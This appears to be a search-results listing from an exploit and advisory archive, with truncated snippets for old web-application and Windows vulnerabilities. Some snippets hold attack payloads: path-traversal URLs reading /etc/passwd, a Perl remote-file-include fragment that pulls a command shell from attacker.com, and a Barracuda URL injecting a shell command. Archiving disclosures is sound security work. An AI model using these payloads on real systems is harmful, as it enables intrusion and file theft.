6423 matches found
deV!Lz Clanportal [DZCP] <= 1.3.6 Arbitrary File Upload Vulnerability
Exploit for unknown platform in category web applications ===================================================================== deV!Lz Clanportal DZCP = 1.3.6 Arbitrary File Upload Vulnerability ===================================================================== S Y N O P S I S /...
FreeWebshop <=2.2.2 [local file include & xss]
FreeWebshop =2.2.2 severity: hight vendor site: http://www.freewebshop.org/ impact: an anonymous user can access anyfile on the remote server PoC : http://site.com/?page=../../../../../../../../../../etc/passwd00 http://site.com/index.php?page=../../../../../../../../../../etc/passwd00 xss get :...
Lou Portail 1.4.1 - admin_module.php Remote File Inclusion
Lou Portail 1.4.1 - adminmodule.php Remote File Inclusion Lou Portail 1.4.1 Class: Remote|Local File Include Vulnerability Patch: Unavailable Published 2006/10/18 Remote: Yes Local: No Type: High Site: http://louportail.free.fr/ Author: MP Contact: [email protected] Vuln Code admin/adminmodule.ph...
Power Phlogger <= 2.0.9 (config.inc.php3) File Include Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Power Phlogger http://victim.com/Power Phlogger 2.0.9/config.inc.php3?relpath=http://DarknesseScript.txt 0day.today 2018-01-11...
phpbbplusxl-rfi.txt
!/usr/bin/perl phpBB PlusXL 2.X biuld 272 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.xs4all.nl/hkicken/plusxl.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socke...
vcap.txt
title: vCAP calendar server Multiple vulnerabilities Author: securma massine MorX Security Research Team http://www.morx.org Product info : vCAP www.pscs.co.ukis a network calendar server for Windows. vCAP allows user to create calendars which can be viewed and modified by people on network using...
CYBSEC - Security Advisory: Microsoft Windows DHCP Client Service Remote Buffer Overflow
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The following advisory is also available in PDF format for download at: http://www.cybsec.com/vuln/CYBSEC-SecurityPre-AdvisoryMicrosoftWindowsDHCPClientServiceRemoteBufferOverflow.pdf This advisory contains the full-detailed information regarding the...
XennoBB.txt
--------------------- SUMMARY --------------------- Name: XennoBB "birthday" SQL Injection 6/8/2006 Vendor / Product: XennoBB Group http://www.xennobb.com/ Description: The world's most revolutionary and easy to use bulletin board. Revolutionary because it redefines the boundaries of usability an...
CYBSEC - Security Pre-Advisory: SAP Internet Graphics Service (IGS) Remote Denial of Service
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The following advisory is also available in PDF format for download at: http://www.cybsec.com/vuln/CYBSEC-SecurityPre-AdvisorySAPIGSRemoteB ufferOverflow.pdf CYBSEC S.A. www.cybsec.com Pre-Advisory Name: SAP Internet Graphics Service IGS Remote Buffer...
CYBSEC - Security Pre-Advisory: SAP Internet Graphics Service (IGS) Remote Buffer Overflow
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The following advisory is also available in PDF format for download at: http://www.cybsec.com/vuln/CYBSEC-SecurityPre-AdvisorySAPIGSRemoteB ufferOverflow.pdf CYBSEC S.A. www.cybsec.com Pre-Advisory Name: SAP Internet Graphics Service IGS Remote Buffer...
Barracuda Spam Firewall <= 3.3.03.053 Remote Code Execution (extra)
Exploit for hardware platform in category remote exploits =================================================================== Barracuda Spam Firewall /cgi-bin/previewemail.cgi?file=/mail/mlog/../tmp/backup/periodicconfig.txt.tmp https:///cgi-bin/previewemail.cgi?file=/mail/mlog/../../bin/ls%20/|...
[CYBSEC] TippingPoint detection bypass
CYBSEC S.A. www.cybsec.com Pre-Advisory Name: TippingPoint detection bypass ============== Vulnerability Class: Design flaw ============== Release Date: 07/24/2006 ========== Affected Platforms: ============= All TippingPoint appliances with TOS = 2.2.3.6514 Local / Remote: Remote ===========...
CYBSEC - Security Pre-Advisory: Microsoft Windows DHCP Client Service Remote Buffer Overflow
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The following advisory is also available in PDF format for download at: http://www.cybsec.com/vuln/CYBSEC-SecurityPre-AdvisoryMicrosoftWindowsDHCPClientServiceRemoteBufferOverflow.pdf CYBSEC S.A. www.cybsec.com Pre-Advisory Name: Microsoft Windows DHC...
[EEYEB-20060524] Symantec Remote Management Stack Buffer Overflow
Symantec Remote Management Stack Buffer Overflow Release Date: June 12, 2006 Date Reported: May 24, 2006 Severity: High Remote Code Execution Systems Affected: Symantec AntiVirus 10.0.x for Windows all versions Symantec AntiVirus 10.1.x for Windows all versions Symantec Client Security 3.0.x for...
Content-Builder (CMS) 0.7.5 Multiple Include Vulnerabilities
No description provided by source. ----------------------------------------------------- Advisory id: FSA:012 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: Content-Builder CMS 0.7.5, Remote command execution Type: high Product: http://www.content-builder.de/ Patch: unavailable...
High severity vulnerability that affects rwiki
The editing form in RWiki 2.1.0pre1 through 2.1.0 allows remote attackers to execute arbitrary Ruby code via unknown attack vectors...
TYPO3 Security Bulletin
Two problems path traversal and SQL injection have been discovered in the extension damdownloads Component Type: Third Party Extension. The extension is not part of the TYPO3 default installation Affected Components: damdownloads Versions: 1.0.1 and earlier Vulnerability Type: Path traversal and...
[Full-disclosure] [XPA] ActualAnalyzer Pro v6.88 - Remote Command Execution Vulnerability
======================================================================================= XOR Crew :: Security Advisory 4/10/2006 ======================================================================================= ActualAnalyzer Pro v6.88 - Remote Command Execution Vulnerability...
TYPO3 Security Bulletin
A weakness in the display of forum messages of chcforum has been discovered that may be used to execute arbitrary SQL Component Type: Third Party Extension. The extension is not part of the TYPO3 default installation Affected Components: chcforum Versions: 1.4.4 and earlier Vulnerability Type: SQ...
HYSA-2006-006-g-book.txt
------------------------------------------------------ HYSA-2006-006 h4cky0u.org Advisory 015 ------------------------------------------------------ Date - Mon March 27 2006 TITLE: ====== G-Book 1.0 XSS, Possible authentication bypass & mass message flood SEVERITY: ========= High SOFTWARE:...